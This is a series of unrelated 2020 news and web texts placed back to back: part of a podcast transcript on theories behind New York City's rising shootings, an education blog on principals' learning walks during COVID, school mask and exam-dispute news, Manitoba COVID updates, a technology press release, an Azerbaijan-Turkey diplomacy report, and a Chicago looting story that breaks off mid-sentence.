that, on some level, this may be police saying to the protesters, OK, so youre so disgusted by us, and you are making all these demands for budget cuts to fund the police. Do you want to know what the world would look like if you get your vision implemented? Well, here, well give you a taste of it. We will not go in and break up the barbecue. We will not make the arrest. In other words, is there some form of kind of protest going on by the police of the work that they typically do in order to say to the public, this is what it would be like if you get what protesters out on the streets are demanding? ashley southall It certainly seems that in some way the cops are responding in a way that almost seems flippant. You want to abolish the police? You want to defund the police? Well, this is what it looks like when you dont have the police. And there is a prevailing sense that cops are stepping back to prove that they are, in fact, necessary. michael barbaro Ashley, it doesnt seem like theres a ton of debate around these two theories that you have laid out here the role of the pandemic and the role of the protests against police. Do I have that right? ashley southall Yeah. Theres a lot of agreement on the role of the pandemic and also the effect of the protests. But the third theory is where theres a lot of debate. And its heated. michael barbaro Well be right back. OK. So Ashley, tell me about this third theory about why crime in New York City is rising, and why is that theory such a source of disagreement. ashley southall So the third theory is one advanced almost exclusively by the New York Police Department itself. And that theory is that a couple of measures taken by both the city and the state over the last few years first with criminal justice reform and then through some of the steps theyve taken to slow the spread of the coronavirus that those measures are contributing to putting people back out onto the street who have not just engaged in criminal activity, but who are also violent. michael barbaro I wonder if you can break those two things down. Maybe start with the criminal justice reforms. Whats the theory there? ashley southall So last year, the New York state legislature passed a bail law archived recording (andrew cuomo) The old system was too reliant on cash. ashley southall that allowed more people to get out of jail while their cases were winding through the courts. archived recording (andrew cuomo) The old system was if you were rich and you could pay bail, youd get out. If you were poor and you couldnt pay bail, you went to jail. ashley southall And in most cases, people who are assigned bail do make bail. But it takes some time. And being in jail for a day, two days, a week, a month, can have serious consequences for peoples lives. They lose their job. They lose their housing. And they might even lose custody of their kids. michael barbaro Right. ashley southall And thats all before the case is resolved. So the bail law was intended to fix this problem that was largely affecting poor people in communities of color. archived recording (andrew cuomo) It was never supposed to be about money. The whole justice system was not supposed to be about whos rich, whos poor. ashley southall But what the theory is now, at least from the police department, is that that law put more people onto the streets who were not only criminal, but are also violent. The police commissioner, Dermot Shea, hes gone after this bail law ever since he became commissioner and predicted that it would cause a rise in crime. archived recording (dermot f. shea) When you have individuals that are standing before a judge and immediately being released, and essentially everyone in the room knows that this person is a danger to the community, I think we need to look at the system and make sure that judges can make common sense decisions. michael barbaro So because that law was passed last year and is being implemented now, the theory here is that a criminal justice reform with a good intention, right, of not making people buy their freedom before their charges even get processed by the court, may result in more people who might be violent, who might do something like get involved in a shooting, being out of prison and on the street. ashley southall Thats exactly right. And the second part of this theory is that the measures undertaken to slow the spread of the coronavirus in the citys jails and in the state prison system have also put more violent people onto the streets. archived recording (bill de blasio) Well everyone, I want to talk about what we all will be doing and will need to do to make these adjustments and to deal with our new reality. Were seeing milestones in the growth of this disease that are just absolutely staggering. Things we could not have imagined. ashley southall So as the coronavirus was spreading, the city started thinking about who it could release from its jails. archived recording (bill de blasio) In the course of this evening, I will be given results of an effort by Department of Corrections and N.Y.P.D., and our mayors office for criminal justice, to review a list of approximately 200 inmates for a potential release. Those individuals will be released tomorrow. We hope to make decisions on them very quickly. But this process ashley southall And so the argument is that some of these people who have been coming back onto the streets are involved in the shootings and some of the murders that we are seeing on the streets today. michael barbaro Is there evidence to support that? Because my sense is that the bail reform deliberately avoided letting violent people or allegedly violent people out. And the Covid-19 mitigation plans also attempted to avoid letting out violent people. So is there any evidence that people charged with violent crimes were let out through either of those measures? ashley southall Not really. The problem with this theory is that the N.Y.P.D.s own data dont really support what they say. archived recording (alexandria ocasio-cortez) At first, the N.Y.P.D., they went out and they said, OK, this uptick in crime is happening because of bail reform. ashley southall And sometimes the data contradict them. This is something thats been noted by critics including Alexandria Ocasio-Cortez, who is, of course, a congresswoman representing part of the Bronx and Queens. archived recording (alexandria ocasio-cortez) They just released data a couple weeks ago that showed that out of almost all the people who have committed crimes, et cetera, almost none have been re-released due to the bail reform. So why is this uptick in crime happening? Well, do we think this has to do with the fact that theres record unemployment in the United States right now? The fact that people are at a level of economic desperation that we have not seen since the Great Recession? ashley southall The police departments data doesnt establish a connection between the people who are out there shooting other people and the people who are getting out on bail. There are some examples of people who have been released who have been rearrested on a gun charge. But the police havent provided any evidence linking them to shootings in any kind of substantial way. Its mostly been, like, an anecdote here or there, but no consistent pattern. michael barbaro And Ashley, what about the release of people from places like Rikers Island, that famous New York City prison, because of Covid-19? Has there been any evidence that has led to the surge in shootings and murders? ashley southall So this theory plays out similar to the one about bail. And once again, we have a situation where the N.Y.P.D.s own data does not show a strong connection between those people and the violence the police are trying to pin on them. michael barbaro So Ashley, you have laid out these three theories. And the first two seem like theres a sort of interplay between them. That people are increasingly desperate and out of work because of the pandemic, and with cops out sick, the shootings were escalating even further. And then the protests started, and people were reluctant to engage with the police at the same time that the police were reluctant to engage with the community. And Im mindful that one of the things that seems to support these first two theories is that all these forces were also at play in the other cities around America where we have seen rising unrest in recent months. Other cities with historic issues between police and communities of color so Chicago, Atlanta, Seattle. Whereas bail reform and prisoner release, those are factors that are specific to New York. But even so, I have to think that regardless of the explanation for the rise in crime, that it gives critics of the defund movement an argument for opposing that move. Right? They can make the case that a moment where shootings and murders are up is a pretty bad time to cut funding for traditional policing. So do you feel like the fact that these numbers are going up is going to make the case for defunding the police in New York City harder? Is that what youre seeing? ashley southall On the one hand, yes, because no politician wants to be the person who takes money away from the police department while more people are getting shot, and more people are dying, and dying from violence that is preventable. The police presence is supposed to deter violence. And youre taking money away from them. They dont show up. And so the violence continues. And so youre going to take the blame for that. It makes the moment inopportune. But at the same time, people point to the police failure to get a handle on shootings and murders that have been rising now for three months straight. And people see that as evidence of the failure of police to do their most basic job, which is to keep people safe. So they say, lets cut their funding and try something else. michael barbaro So this moment could actually strengthen the case for defunding the police? ashley southall Yeah. Thats it. Because its not keeping people safe in communities of color at this moment in New York City. michael barbaro Mhm. But Ashley, if you believe that the forces behind the rising crime rate are connected to the pandemic, and that situation will resolve itself in the next couple months or a year, and police could start doing their jobs again as they did before, wouldnt that be enough to keep shootings historically low like they were over the past few years? Or has something now changed that will make it difficult to go back to before? ashley southall I wish I could go back in the past and kind of do some tweaks to tell you what it might look like if things had played out differently, if there had been no pandemic and no protests. But I cant. What I can tell you is that even before these events, the police recognized that there was a really big impediment to fighting crime. And that was a broken trust between the police, and particularly communities of color, that was decades in the making. Commissioner Shea, in disbanding anti-crime, acknowledged that although they were effective in getting guns off the streets, their tactics were sometimes harmful. And that was counterproductive to building the kind of public confidence the police need to have people not only reporting crimes because remember, not all crimes are reported to the police and many people dont report crime at all it also keeps people from helping the police to solve crimes. Repairing that trust was paramount before the pandemic, before any protests, and its only gotten worse. And so its not going to be an easy fix. michael barbaro So what youre saying is that the crime rate, the number of shootings and the number of murders reported, has not necessarily been a great reflection of whether policing in New York is actually working. In fact, it might have been a pretty misleading number to begin with because of these deeper root issues that have been there during that period of quote, unquote low crime. So going back to before is a kind of flawed way of thinking about this. ashley southall Thats right. In this moment, we see these wild cards the pandemic and the protests exacerbating the factors that already fuel gun violence. But even before those came into play and up till now, were talking about a very small group of people who carry guns. And the research shows that they do so because they feel caught between two worlds that make them feel unsafe. One is the violence in their communities, whether it be conflicts between gangs with rivalries or crews in neighboring housing projects that have beefs. They also feel unsafe around the police. They feel at any moment they could be targeted, that they could be a George Floyd or an Eric Garner. So there is no one in their lives who they feel can protect them. And so they pick up a gun to do it for themselves. So pandemic or no pandemic, protests or no protests, ultimately its the problems in their lives that need to be addressed. And what the experts will tell you is that policing, even with reforms, is just one part of a very large puzzle. michael barbaro Ashley, thank you very much. I really appreciate it. ashley southall Thanks for having me. michael barbaro Well be right back. Heres what else you need to know today. archived recording (louis dejoy) As we head into the election season, I want to assure this committee and the American public that the postal service is fully capable and committed to delivering the nations election mail securely and on time. michael barbaro In testimony before Congress, the postmaster general, Louis DeJoy, said he was confident that the U.S. Postal Service could handle a major surge in voting by mail this fall, despite the cost-cutting plans that he has put in place, which have slowed delivery across the country. archived recording (louis dejoy) We deliver 433 million pieces of mail a day, so 150 million ballots, 160 million ballots over the course of a week is a very, very small amount. Adequate capacity. michael barbaro Nevertheless, over the weekend, the House of Representatives passed emergency legislation that would block DeJoys changes and inject $25 billion dollars into the Postal Service before the election. archived recording (carolyn b. maloney) This is not a partisan issue. It makes absolutely no sense to implement these dramatic changes in the middle of a pandemic less than three months before the November elections. The American people do not want anyone messing with the Post Office. michael barbaro In March, when COVID-19 entered rapidly into our lives and schools began to close for what educators thought would be a week, and then a month, and then the rest of the school year, I passed some time scrolling through educator pages on Facebook. I remember one teacher posted that she was supposed to be observed the following week and was hoping her principal would change their mind. Clearly, during that time of pandemic teaching and learning, where everyone was scrambling to find activities and offer review assignments to students, a formal observation was not necessary. In fact, it would have been downright cruel to do one. But...what about learning walks? Hear me out before you stop reading and start tweeting at me. As we know, learning walks are sometimes controversial. The reason they are controversial is that leaders do not always engage in dialogue with teachers around the topic of why learning walks are completed in the first place. Sometimes that is due to the fact that leaders do not know why they are doing learning walks in the first place. That is not meant as mean-spirited. In fact, its meant to convey that many leaders feel pressure to do learning walks because central office tells them they have to complete 10 a day, and leaders are rushed for time with so many tasks, that they rush through learning walks to get them done. Whats worse is they are often told to provide feedback to those teachers, and they leave feedback to teachers that ends up backfiring on them. I happen to like learning walks. I know, my liking them isnt enough to change minds. Selfishly, I enjoy walking into classrooms to watch learning take place. The conversations we can engage in with students as they are learning provide us with reciprocal learning during those learning walks. Thats a sentence with a lot of learning! Seriously though, I find value in learning walks because they help provide me with a sense of the school climate and culture. I can tell as soon as I walk into a room for a learning walk with a principal whether that principal consistently does learning walks or not. I can tell when there is positive rapport among the leader and students. As a school principal, I had what we called my Morning Rounds. I went into each classroom to say good morning to the students. Mostly it was to build community and let students and teachers know I was close by, but it was also to let students and teachers know I was close by...visibility is key. However, those were not learning walks. When I made an effort every day...or nearly every day...to go into rooms and sit down with students to ask them what they were learning. When I saw strategies students were using that they learned from their teachers, I would then have the opportunity to have deeper conversations with teachers that let them know I was interested and engaged. Those were learning walks. Teachers and students knew why I was there, and I knew why I was there too! Seriously, During COVID, Though? So why now? Why should we explore the idea of learning walks or walk-throughs during a time of COVID when teachers and students are nervous, and everyone seems to be on edge? Do learning walks look different in a remote experience rather than an in-person experience where students are supposed to practice social distancing? The reality is that whatever the situation teachers and leaders find themselves in as the new school year begins, learning walks are a valuable instructional leadership action to take. Now more than ever, they can be used to build more community within a school or virtually at a time when that sense of community is very much needed. To me, there are three main reasons why leaders, with the help and guidance of their teachers, need to explore engaging in learning walks. As I always note when I am compiling a list, there are other reasons these things may be important, too, but these are the three that I believe are most important. If readers have something to add, please feel free to use the comment box below. The three reasons I believe learning walks are important are: SEL/Building relationships - COVID-19, pandemic teaching and learning, social distancing, and the threat of another outbreak have caused trauma and mental-health issues among students and teachers (click here for some outstanding resources offered by the Sacramento County Office of Education ). Learning walks and being present for synchronous remote learning classes, as well as in-person classes, is a great way for teachers and students to see that their leaders are there to support them. The default action for leaders is to stay away from remote or in-person classes so they do not get in the way. Through surveys I have conducted over the last three months , Ive found that nothing is further from the truth. Teachers and students want and need to see their leader, so they understand we are all in this together. Focus on learning - Leaders cannot fully understand what they cannot see. And if those leaders do not fully understand, then they cannot effectively engage in dialogue that focuses on what effective remote and in-person learning looks like right now. The reality is that all spring students were not always engaged in learning, and many students were not showing up for remote learning (Read here about why students didnt show up ). Learning walks help maintain a focus on Learning. So much of the dialogue around student learning is that students are going to be so far behind in the fall...or that learning needs to look different in the fall...or that we need to discuss what we learned from the spring and take it into the fall. Engaging in learning walks will better prepare principals to have remote faculty meetings in which they can talk about what learning looks like, what strategies are working best to engage students (read the student responses here ), and how to move forward together. Maslow and Bloom - This is a bit of a combination of the other two, but there is a method for my madness here. In the spring, there was a popular statement on social media. The statement was Maslow before Bloom. As the months went on, I made a comment in a previous blog that we need to focus on Maslow and Bloom. I then heard from someone on social media that I didnt understand social-emotional learning. I taught elementary school for 11 years and was an elementary school principal for eight years. All of the writing that I do and the research I conduct focuses on social-emotional learning. What people actually may not know is that Benjamin Bloom, a person who gave us the term formative assessment, actually believed (and found during research) that when teachers established relationships with students, understood how they best learned (using formative assessment), those teachers offered more impactful learning environments. Remembering Maslow and Bloom might be a great way for leaders and teachers to find balance during a very unbalanced time. In the End There is no doubt that these are the most complicated times we have all lived through. Educators will tell you that they feel a lack of control, which most of us never enjoy, and that they feel like there is no one clear-cut answer for the fall that everyone will agree upon. Regardless of the options for schools in the fall, learning walks should be a part of them. Watch below for a video focusing on 5 steps to a more collaborative walkthrough. Peter DeWitt, Ed.D., is the author of several books including his newest release Instructional Leadership: Creating Practice Out Of Theory (Corwin Press. 2020). Connect with him on Twitter or through his YouTube channel . Photo courtesy of Getty Images. PLEASE BE ADVISED: Soon we will no longer integrate with Facebook for story comments. The commenting option is not going away, however, readers will need to register for a FREE site account to continue sharing their thoughts and feedback on stories. If you already have an account (i.e. current subscribers, posting in obituary guestbooks, for submitting community events), you may use that login, otherwise, you will be prompted to create a new account. Northern Ireland's largest teaching union has called on post-primary schools to follow the lead of a Belfast school which is to ban students from classrooms unless they wear face masks. The NASUWT said Belfast Royal Academy's decision was welcome, and would "put the health and wellbeing of pupils, staff and school community first". Read More "All post-primary schools should be following this good practice," NASUWT National Official Justin McCamphill said. "This has to be done to mitigate the removal of social distancing that has come about as a result of the Executive decision [to reopen all schools] last Thursday." Belfast Royal Academy (BRA) announced the decision in a letter to parents, the BBC's Stephen Nolan Show reported. "Due to our large pupil and staff population it will be extremely difficult to maintain strict social distancing requirements," the letter read. "Therefore, in order to protect all members of the school community, including those who are vulnerable, all pupils, staff and visitors must wear a face covering within the school building." "If a pupil arrives to school without a face mask, they will not be permitted to enter the classroom." BRA principal Hilary Woods told the BBC it was about the "safe restart of the school". Face coverings would only be worn by pupils and staff when in the school building, she said. It will not be a requirement for pupils to wear them "when exercising in the playground" or "when eating at break time and lunchtime". Integrated Ballymena post-primary school Slemish College announced yesterday that it would also ask all members of the school community to wear masks inside the college building. "As the NI Executive recently announced that face coverings should be worn in places where social distancing is difficult, we would ask everyone to wear face coverings when inside the College building," it said in a Twitter post. "Y14 students should ensure they have one for collecting their results on Thursday." Mr McCamphill said the decision to enforce the wearing of masks will protect vulnerable teachers and pupils. He added: "[We] call on the Executive to make the wearing of masks compulsory in all post-primary schools. "We are aware that some students may not be able to wear masks for medical reasons, however, the fact that other pupils are wearing masks will also protect them." SDLP MLA Daniel McCrossan, who sits on Stormont's education committee, also welcomed the decision from BRA, adding that it was in the "best interests" of those that attend school and the wider community. He said there had been "a lack of leadership and guidance" from education authorities, as well as the Executive. "This is an argument around face coverings which rumbled for weeks before a decision was made, he said. He said that while the SDLP was part of that Executive, "the shots are called by the DUP and Sinn Fein". BRA said it made the decision after a meeting of the school's health committee and plans to provide washable face coverings to pupils in school colours. The stance is in direct opposition to that of Education Minister Peter Weir, who has said imposing face coverings in schools is "not necessary or implementable" at this stage. Northern Ireland's Chief Scientific Adviser Prof Ian Young later said he believed it would be of benefit for older children. NI Children's Commissioner Koulla Yiasouma said her preference would be for face masks to be encouraged, not mandatory. Mr McCrossan said there is concern around the reopening of schools. He added: "Teachers are worried about returning and being exposed to risk, children and their families are also very concerned. "What is more concerning is we get closer to the reopening of schools and there is still no clear guidance from the department." A Department of Education spokesperson said: "Any specific public health advice will be followed regarding the use of PPE and face coverings for teachers and pupils. Detailed guidance on the reopening of schools will be issued this week and will include advice on the use of PPE and face coverings." Koforidua-based Bright Senior High School has dismissed media reports that its principal Bright Nyarko Amponsah instigated students to attack WAEC officials supervising the WASSCE at the schools centre. WAEC has accused the principal of being behind an attack on its invigilators when the students were writing the social studies paper. In a statement issued by the school, both the director and the teachers were not present during the chaos. For the avoidance of doubt, none of the teachers of Bright Senior High School was allowed to partake in the invigilation of the Social Studies examination on 6th August 2020, the statement said. It said its teachers who doubled as invigilators had gone home after WAEC decided to change them. The statement also said the private security men posted to the examination centre prevented the principal from entering even at the time he attempted to visit the centre to restore calm. The confusion is said to have broken out when a student reportedly retaliated a slap by an invigilator who claimed the boy was cheating. Another student claimed her answer sheet was torn apart over a similar suspicion. The school said in view of the decision of the WAEC officials to prevent the teachers or principal access to the examination centre the principal and the teachers could not have assaulted or instigated the students to assault the WAEC officials as is being reported. On the schools comment on video footage in which the principal is seen storming out of the exam centre, Head of Communications at Bright Senior High School, Dr. Isaac Asare, said the scene was filmed after the examination when Mr Amponsah had gone to find out what had happened. Again, the Director could not have asked the students to stop writing because the exam was over anyway, he said. Source: King Edward Ambrose Washman Addo/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video CAIRO, Aug 10 (Reuters) - Kuwait emir's health has shown "positive improvement," the cabinet quoted the prime minister as saying, in a tweet on Monday night. The cabinet prayed "for a speedy recovery and complete health and wellness, and to return him to the homeland in the near future," it said. Emir Sheikh Sabah al-Ahmad al-Sabah is in the United States completing medical treatment following surgery for an unspecified condition in Kuwait. (Reporting by Samar Hassan) The provinces reopening continues as planned, despite more COVID-19 cases reported Monday. Hey there, time traveller! This article was published 11/8/2020 (526 days ago), so information in it may no longer be current. Advertisement Advertise With Us The provinces reopening continues as planned, despite more COVID-19 cases reported Monday. Of the 16 new cases reported, 11 were in the Prairie Mountain Health region. There are now 86 active cases in the region, of which 64 are part of one cluster. Although there are now 23 known cases at Brandons Maple Leaf Foods plant, Manitoba chief health officer Dr. Brent Roussin said there is no indication of intra-facility transmission. "There was a lot of contacts early on in the cluster," Roussin said during Mondays media conference. An increase in cases is to be expected, he added. "Now our goal is to live with this virus. We know its still going to be here, likely a year from now, even more. In addition to cases related to known clusters and previously identified cases, Roussin said there is small number of cases with unknown acquisition, or "community-based transmission." As with other reopening plans, Roussin reaffirmed that schools are still set to open next month. "We know theres a lot of benefits to getting kids back in school, so we need to have a cautious plan to ensure everyone is safe with it," he said. "The fundamentals can allow us to live with this virus rather than reverting to those major restrictions and shutdowns we had to do at the beginning." In answer to a reporters questions about fears parents have about sending their children back to school, Roussin said, "we need to respect this virus." "Nothing is without risk, but there is risk to not sending kids back to school. Theres risks to massive shutdowns. We know, with kids, they are less likely to have severe outcomes with the virus. Plus we have very thought-out, safe plans that we continue to reassess." If the province finds a benefit in targeting high-risk locations with more restrictions, it will go that route, Roussin added. Factors that might determine such an approach would include community transmission and effects on the health-care system. Roussin said Maple Leaf Foods is going beyond public health recommendations, having a larger number of workers self-isolating than was recommended by Public Health. Workers are also being "cohorted," among other protocols put in place. A cohort is a grouping of people with limited contact with other groups. In an email, Maple Leaf Foods vice-president of communications Janet Riley said 144 employees have tested negative for the virus. Public health officials, Manitobas Workplace Safety and Health and Department of Agriculture and Resource Development, as well as the Canadian Food Inspection Agency are closely monitoring the situation, Roussin said. Maple Leaf remains of the opinion that operations at the Brandon plant do not need to be halted given that the province has not found evidence that the virus is being transmitted at the workplace. "The whole concept of identifying cases early, having them self-isolate, and in that contact investigation having those contacts self-isolate, means that a certain proportion of those contacts will develop COVID-19. In Manitoba right now, that secondary rate is about 14 per cent." But because that 14 per cent will be self-isolating when they develop symptoms, Roussin added, they wont have any or very few contacts. "So the transmission chain diminishes. When we have unknown acquisitions, we could have a significant amount of contacts that we have to investigate," he said. Fundamental actions expected of people to curb the spread of COVID-19 remains staying home when they they feel ill, practising good hand hygiene, physical distancing, and, where thats not possible, wearing a mask. Roussin also advised people to avoid crowded indoor areas. "When we look to places like Brandon, where were seeing high numbers of clusters, this is vitally important in those areas," Roussin said. "People in those areas should take extra caution." Maple Leaf Foods employees are seen with protective coverings that have been mandated as a result of the pandemic. (Submitted) Beginning early Monday morning, the car lineup for testing at The Town Centre parkade backed up to the Princess Avenue turnoff on First Street. A second Brandon testing site will open at the Keystone Centre grounds Wednesday. Hours of operation for both sites will be the same as The Town Centre location: 8:45 a.m. to 6:30 p.m. Monday to Thursday; 8:45 a.m. to 3:15 p.m. Friday and Saturday; and 8:45 a.m. to 12:30 p.m. on Sunday. "Clients may choose the site they prefer to go to, Town Centre or Keystone Centre. However, they may be redirected to the other site in order to help balance lineups and shorten wait times," according to a statement by Health, Seniors and Active Living Minister Cameron Friesen. The best time to be tested is 24 hours after onset of symptoms. "What we found was a number of our cases tested many, many days after symptom onset, and by the time were connecting with contacts, some of those contacts are already symptomatic," Roussin said. He does not recommend asymptomatic testing. Kevin Conlin, the facility manager at the Art Gallery of Southwestern Manitoba located in The Town Centre, told The Brandon Sun the gallery had to put up signs directing people away because people looking for the testing site were wandering in. Prairie Mountain Health is asking that clients remain in their vehicles and not enter the building at either test site. Finally, the province is also gearing up to provide more detail on case locations. "We believe that before the week is out, well be able to be identifying new cases in a much more nuanced way, using zones or districts or another measurement," Friesen said. In Manitoba, the total lab-confirmed and probable-positive cases of COVID-19 since March is 558. There are 196 active cases across the province. The test positivity rate is 1.59 per cent, up from the previous days 1.45 per cent. Tests totalled 1,364, for a total so far of 103,782. The number of deaths in the province remains at eight. Six are in hospital, including three in intensive care. "We have to get used to seeing cases. We have to get used to living with the fundamentals, which will allow us to not restrict things to the nature we had in April, but also reduce transmission of this virus," Roussin said. "Its up to every individual and every business to stay safe. We are in a pandemic." mletourneau@brandonsun.com Michele LeTourneau covers Indigenous matters for The Brandon Sun under the Local Journalism Initiative, a federally funded program that supports the creation of original civic journalism. Sidebar: Co-op says Brandon Agro employee tested positive Heritage Co-op confirmed Monday afternoon that an employee at its Brandon Agro location tested positive for COVID-19. "An employee began experiencing symptoms at work last week," general manager Lorne Zacharias stated on Facebook. "They were immediately sent home to begin a self-isolation period and complete testing. Our team member is currently at home, and we wish them a speedy and full recovery." Co-op is working with Public Health and following its guidance to protect the health and safety of our team members, customers and the community, Zacharias added. The Brandon Agro and Westman Aerial Spraying locations will be closed until further notice as the company deep clean both sites, and all employees who came in close contact with their colleague are self-isolating and have been referred for testing. The Brandon Sun TEANECK, N.J., Aug. 11, 2020 /PRNewswire/ -- NWN, a leading technology-enabled service provider focused on transforming the customer experience, is helping Fairleigh Dickinson University (FDU) successfully transition both its NJ and Vancouver campuses to a new dynamic collaboration solution with the NWN Unified-Communications-as-a-Service offering. NWN has helped FDU not only move its telephony systems from copper to VoIP, but also set up an enhanced 911 solution as a part of the upgrade. This new solution provides rescuers with the directions they need down to a building floor. Originally, the university had considered its incumbent vendor or a similar legacy provider to assist with this initiative, but the level of customization made possible with the NWN Unified-Communications-as-a-Service solution gave FDU's IT team the flexibility and analytics it needed. FDU was forced into this chapter of its digital transformation. Its legacy telephony service provider abruptly announced it would no longer support the school's copper wiring. Together, NWN and FDU determined exactly what services were needed to complete FDU's migration over to VoIP, which included assessing the functionality of more than 2,000 lines and over 1,500 physical phones, across 100 buildings split among three campuses over four different municipalities and two countries. Outdated technology and geography were not the only hurdles the team needed to overcome: the university needed an enhanced 911 solution, voice services with the ability to make changes (add a new phone, additional DIDs, ring downs), and complete IVR builds. The priority for FDU throughout the migration was to maintain excellent service to the university's employees and students. Through the NWN Experience Management Platform, the FDU IT team was able to provide continuously excellent service while simultaneously designing a custom telephony plan that addressed each of its needs. Stuart Alper, University Director of University Systems and Networking, Fairleigh Dickinson University, said, "This was one of the largest technological endeavors FDU has embarked on, so I needed a project team to work alongside me during our digital transformation, and NWN did just that. During the switch, as small issues arose, our implementation team -- composed of a mix of NWN and FDU personnel -- was methodical, documented those issues and handled them in priority order. NWN did not leave our side, and together the entire port was handled in near seamless fashion. It's incredibly rewarding to see what a group of people working towards a common goal can achieve." He continued, "NWN's depth of services gave us the flexibility and customization we needed for this project. All the other vendors who responded to our RFP tried to fit our needs into their pre-designed solutions, which essentially amounted to fitting square pegs in round holes. Bringing in the NWN team helped de-silo our IT organization, bringing all the services together to simplify and optimize the partnership across IT. NWN has been an irreplaceable partner in helping us figure out how to build for FDU's future. They are a true partner." To learn more about NWN's offerings, click here . About NWN NWN Corporation, headquartered outside Boston, is an established leader in technology-enabled services, transforming the customer experience for commercial, enterprise and public sector organizations through its solution-as-a-service platform. With 1,300 customers throughout the U.S., NWN provides a unified customer experience with integrated offerings for unified communications, security, contact center, DaaS (device-as-a-service), connectivity and advanced technology solutions. To learn more about NWN's solutions and offerings, visit www.nwnit.com . Media Contact: Carissa Ryan, CTP for NWN [email protected] SOURCE NWN Corporation Related Links http://www.nwnit.com By Akbar Mammadov Expanding relations with Turkey is among Azerbaijan's key foreign policy priorities, Jeyhun Bayramov said in Ankara on August 11, in his first foreign visit as Azerbaijans Foreign Minister. During the visit, Bayramov met his Turkish counterpart Mevlut Cavushoghlu. Jeyhun Bayramov and Azerbaijans Defence Minister Zakir Hasanov were also received by Turkish President Recep Tayyip Erdogan on the same day. Addressing the presser in Ankara, Bayramov said that the relations between Baku and Ankara are developing in every field in line with Heydar Aliyevs One nation, two states philosophy and Ataturks Azerbaijans joy is our joy, its sorrow is our sorrow words. Economic cooperation Bayramov noted that despite the economic crisis in the world, the trade turnover between the two countries increased by 20 percent in the first five months of 2020. About 2,000 Azerbaijani-based companies operate in Turkey. $18.1 billion of capital has been invested in the Turkish economy by Azerbaijan, Bayramov said. He also noted that 4,000 Turkish companies are operating in Azerbaijan and they contributed 12.6 billion dollars to Azerbaijans economy. The relations between Azerbaijan and Turkey are developing dynamically in all spheres. Our trade turnover increased by 33 percent in 2019 compared to 2018, Bayramov recalled. Underlining that the target of 15 billion dollars in bilateral trade will be exceeded in 2023 with the impact of projects such as Baku-Tbilisi-Ceyhan Oil Pipeline, Baku-Tbilisi-Kars Railway and TANAP, Bayramov said, "the main goal of the relations established in all areas is to ensure regional security and stability, to increase the influence of our countries in the international arena and to strengthen this position. Bayramov noted that discussions were held on the Southern Gas Corridor, which will be completed by the end of this year, and its main component, the TANAP project. These projects are aimed at increasing the regional power of our countries in the international arena. Moreover, Bayramov said that Azerbaijan and Turkey have signed 241 agreements in various fields over the years. Currently, 29 additional agreements are being considered. They will be signed and implemented soon. Turkish Foreign Minister Chavushoglu, pointing to the increased mutual investments between Turkey and Azerbaijan, said that large-scale projects were implemented by Azerbaijan in Turkey. Chavushoglu highlighted Azerbaijans large-scale energy projects, especially those in Turkey. "Azerbaijan has taken the first place in our natural gas supply and we will increase the amount of gas we buy from Azerbaijan in the future," added Cavushoglu. He stressed the importance of the logistics and transport projects, as well as the Turkey-Nakhchivan Gas Pipeline and Kars-Nakhchivan Railway Project, saying that the gas transported via Nakhchivan is a strategic project for Turkey. Nagorno-Karabakh conflict Armenias occupation of Azerbaijans internationally-recognized territories was also on the agenda of the meeting. During the press conference, Bayramov stressed that Armenia's aggressive policy is the main obstacle to establishing lasting peace in the region. In line with the rules of international law and the relevant resolutions of the United Nations (UN), the solutions to the conflict is clear. Azerbaijan's stance on this issue is firm and unchangeable. This problem should be solved according to the principle of territorial integrity, sovereignty and inviolability of borders of Azerbaijan," said Bayramov. Reminding Turkeys position on the Nagorno-Karabackh conflict, which is based on international law, Bayramov added: We last witnessed this support on 12 July, when the Armenian army committed the military provocation in the direction of Tovuz of the Azerbaijan-Armenia border." In turn, Chavhushoglu said: Armenia has been occupying 20 per cent of brotherly Azerbaijani lands for years. Despite the decisions and resolutions of the UN Security Council and other international organizations, Armenia avoids resolving the conflict. With such provocations, Armenia shows to the entire world that it hinders the formation of a safe environment for negotiations. The international community, as well as the OSCE Minsk Group, is not making serious efforts to resolve the conflict. We support the settlement of this conflict within the framework of Azerbaijan's territorial integrity and on the basis of international law. But whatever solution Azerbaijan chooses, we will stand by Azerbaijan in that issue as well." Noting the Turkey-Azerbaijan "TurAz Kartali" joint military exercises being held in Azerbaijan, Cavushoglu said that these exercises have been continuing since 2014 are the best indicator of cooperation in this field. --- Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97 Follow us on Twitter @AzerNewsAz Access bridges over the Chicago River were raised again Monday night, cutting off the business district, known as the Loop, from the rest of the city, as social tensions continue to rise after the police shooting of a young black man Sunday afternoon. A Chicago police vehicle in front of a raised drawbridge on August 10, 2020 (AP Photo/Charles Rex Arbogast) The police shooting and tense confrontation with residents in the Englewood neighborhood on the citys south side led to looting overnight at several downtown stores, including in the upscale Magnificent Mile retail area. According to media reports, two people were shot, more than 100 were arrested and 13 police officers injured. Additional police have been deployed and an indefinite lockdown of the Loop resumed Monday evening. The incident began when police shot a 20-year-old youth in Englewood, who, they claimed, had fled after being stopped and fired on officers before they shot him. The young man, whose name has not been released because he has not yet been charged with a crime, is reported to be in stable condition at University of Chicago Hospital. In comments to the Sun Times, Earl Allen, the victims brother, contradicted the police version of events. Allen said he and his brother were in Moran Park when his brother got in an altercation before both left the park with a group of people. Allen said someone in the group made a comment to officers in a police vehicle, which prompted the police pursuit. Allen said he was walking to his home after the group dispersed when he heard 8 or 9 shots ring out but did not see shooters. Shortly after he said he saw his brother wounded and running into their home. Allen also denied the weapon that police claim was found at the scene belonged to his brother. About 100 youth gathered at Cook County Jail Monday night to demand police body camera footage from the Sunday shooting. Shortly after the shooting on Sunday, residents gathered to confront a growing number of police, some in helmets and armed with rifles. Tensions mounted as hundreds of cops formed a line and residents implored young people to get inside, fearing that they would be severely beaten or killed by police. By midnight on Sunday evening, 400 police officers were deployed in response to hundreds of people reportedly entering the Magnificent Mile and near West Side shopping districts where smashing and looting went on into the early morning. The Illinois state police blocked off ramps from expressways and the bridges across the Chicago River were raised, except for the one on LaSalle Street for police and emergency vehicles. Democratic Mayor Lori Lightfoot responded by deploying more police, threatening more aggressive prosecutions and cutting off nighttime access to the Loop. From 8 PM to 6 AM, street and train transit is cut off except at certain points until further notice. Lightfoot also announced the deployment of infrastructure assets, i.e., more security forces, directed by Chicago Police Department, to protect commercial properties. Lightfoot and Chicago Police Supt. David Brown held a press conference Monday 